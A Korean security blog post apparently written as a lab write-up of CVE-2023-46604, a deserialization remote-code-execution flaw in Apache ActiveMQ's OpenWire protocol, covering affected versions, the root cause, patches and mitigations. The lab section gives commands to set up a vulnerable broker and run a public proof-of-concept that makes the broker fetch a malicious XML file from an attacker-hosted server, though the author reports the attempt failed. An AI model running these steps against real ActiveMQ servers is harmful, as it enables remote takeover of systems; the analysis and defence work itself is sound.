1. Apache ActiveMQ [1][2]
- 자바로 만든 오픈소스 메세지 브로커로, 다양한 언어를 이용하는 시스템간의 통신을 할 수 있게 함
- 가장 대중적이고 강력한 오픈 소스 메세징 그리고 통합 패턴 서버
- 클라이언트 간 메시지를 송수신 할 수 있는 오픈 소스 Broker(JMS 서버)
2. 취약점
- ActiveMQ에서 내부적으로 사용하는 OpenWire 프로토콜에서 불충분한 클래스 역직렬화 검증으로 인해 발생 (CVSS: 10.0)
> ActiveMQ 서버가 외부에 노출된 경우 공격에 악용될 수 있음
조건 ① OpenWire 포트 61616에 엑세스 가능
조건 ② 데이터 유형이 31인 OpenWire 패킷 전송
> 암호화폐 채굴 악성코드 또는 랜섬웨어 유포 등 악용 사례가 발견되는 중
- 영향받는 버전
① Apache ActiveMQ
> 5.18.0 ~ 5.18.3 이전 버전
> 5.17.0 ~ 5.17.6 이전 버전
> 5.16.0 ~ 5.16.7 이전 버전
> 5.15.16 이전 버전
② Apache ActiveMQ Legacy OpenWire Module
> 5.18.0 ~ 5.18.3 이전 버전
> 5.17.0 ~ 5.17.6 이전 버전
> 5.16.0 ~ 5.16.7 이전 버전
> 5.8.0 ~ 5.15.16 이전 버전
2.1 취약점 상세 [5][6][7]
- 입력에서 데이터 스트림을 수신하면 OpenWireFormat.doUnmarshal 메서드를 통해 언마셜을 수행
> 언마셜이란 XML을 Java Object로 변환하는 것을 의미 (반대의 과정을 마셜이라 함)
> 언마셜 과정은 BaseDataStreamMarshaller에 의존
- ActiveMQ에는 각각의 데이터 유형에 맞게 설계된 다양한 종류의 DataStreamMarshaller이 존재
> 시스템은 데이터와 함께 제공되는 DATA_STRUCTURE_TYPE을 확인해 사용할 Marshaller를 결정 [8]
- 데이터 타입이 31(EXCEPTION_RESPONSE)일 경우 ExceptionResponseMarshaller을 이용해 언마셜 수행
> 해당 취약점은 ExceptionResponse 데이터에서 생성된 클래스의 유효성을 검사하지 못하여 발생
2.2 취약점 실습
- ActiveMQ 실행
> default ID/PW: admin/admin
wget hxxps://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
tar -zxvf apache-activemq-5.18.2-bin.tar.gz
cd apache-activemq-5.18.2/bin/
./activemq start
- PoC 다운 및 수정 [9]
> PoC 수행 전 tmp 디렉터리에 success 파일은 존재하지 않는 상태
git clone hxxps://github.com/X1r0z/ActiveMQ-RCE
cd ActiveMQ-RCE
vi poc.xml
- PoC 수행
> PoC 수행 결과 404 Error를 반환하며 다른 PoC를 수행해 보았으나 동일 결과 반환
> PoC가 정상 수행될 경우 /tmp/success 파일이 생성
python3 -m http.server
go run main.go -i 127.0.0.1 -u http://localhost:8000/poc.xml
3. 대응방안
① 벤더사 제공 최신 업데이트 적용 [10]
- validateIsThrowable 메서드를 추가
> 제공된 클래스가 Throwable 클래스 확장 유무 확인
> Throwable을 확장하지 않으면 해당 클래스가 Throwable에 할당할 수 없음을 나타내는 "IlalgalArgumentException" 오류 메시지 생성
제품명 | 영향받는 버전 | 해결 버전 |
Apache ActiveMQ | 5.18.0 ~ 5.18.3 이전 버전 | 5.18.3 |
5.17.0 ~ 5.17.6 이전 버전 | 5.17.6 | |
5.16.0 ~ 5.16.7 이전 버전 | 5.16.7 | |
5.15.16 이전 버전 | 5.15.16 | |
Apache ActiveMQ Legacy OpenWire Module |
5.18.0 ~ 5.18.3 이전 버전 | 5.18.3 |
5.17.0 ~ 5.17.6 이전 버전 | 5.17.6 | |
5.16.0 ~ 5.16.7 이전 버전 | 5.16.7 | |
5.8.0 ~ 5.15.16 이전 버전 | 5.15.16 |
② OpenWire 프로토콜 비활성화
③ 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)
4. 참고
[1] https://activemq.apache.org/
[2] https://velog.io/@rlaghwns1995/Apache-ActiveMQ%EC%9D%98-%EA%B8%B0%EB%B3%B8
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-46604
[4] https://viz.greynoise.io/tag/apache-activemq-rce-attempt?days=30
[5] https://www.vicarius.io/vsociety/posts/apache-activemq-rce-cve-2023-46604
[6] https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis
[7] https://www.uptycs.com/blog/apache-activemq-cve-2023-46604?hs_amp=true
[8] https://github.com/apache/activemq-openwire/blob/main/openwire-core/src/main/java/org/apache/activemq/openwire/commands/CommandTypes.java#L78
[9] https://github.com/X1r0z/ActiveMQ-RCE
[10] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71236
[11] https://www.boannews.com/media/view.asp?idx=123384&page=1&kind=1
[12] https://www.boannews.com/media/view.asp?idx=123822&page=1&kind=1
[13] https://www.boannews.com/media/view.asp?idx=124844&direct=mobile
'취약점 > RCE' 카테고리의 다른 글
MHTML 원격 코드 실행 취약점 (CVE-2024-38112) (0) | 2024.07.20 |
---|---|
regreSSHion (CVE-2024-6387) (0) | 2024.07.12 |
Oracle WebLogic WLS Security Component RCE (CVE-2017-3506) (0) | 2023.06.01 |
Microsoft Message Queuing RCE (CVE-2023-21554) (0) | 2023.04.16 |
WinVerifyTrust 서명 유효성 검사 취약성 (CVE-2013-3900) (0) | 2023.04.06 |